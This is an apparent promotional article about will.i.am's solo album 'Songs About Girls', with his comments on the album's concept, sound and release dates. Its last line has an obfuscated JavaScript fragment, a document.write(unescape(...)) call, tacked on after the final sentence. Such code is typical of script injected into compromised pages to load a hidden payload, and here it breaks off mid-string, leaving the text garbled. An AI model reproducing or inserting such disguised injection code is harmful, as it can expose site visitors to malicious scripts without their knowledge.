The Black Eyed Peas are not breaking up. will.i.am, frontman and producer behind the multi-platinum group, wants to get that out of the way right from the start. "We're not going anywhere," he says, by way of introducing his new solo album, 'Songs About Girls'. "I made the choice in high school to be with a crew and that's never going to change. It was just really important for me to try some things out on my own"
The infectious first single 'Got It From My Mama' is set to a clubby, electronic bounce with echoes of 8-bit video game sound effects. This is a fun rumination on the subject of genetics, on how girls with certain attributes can owe them to their mothers, Will explains. "It's as if I was to score what's on a guy's mind." The accompanying video was shot on the beaches of samba capital, Rio de Janeiro, Brazil.
'Songs About Girls' is a musically adventurous album, the funky, eclectic brainchild of Will.I.Am taking inspiration from a range of sounds from around the world. It is not just a hip hop album, but takes influences from European club sounds and house music, old school soul and Brazilian Baile funk. It is also a conceptual album, with a story rooted in Will's own personal evolution.
While on the surface 'Songs About Girls' could be interpreted as an ode to the female gender, it is actually an album inspired by a long-time personal romance. "It's about one particular relationship that, reflecting on it, I was really sorry how it ended up," Will explains. "learning how to juggle a career with a relationship."
will.i.am releases 'Songs About Girls' on October 8th and the single
'Got It From My Mama' on September 24th through Interscope / Polydor.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22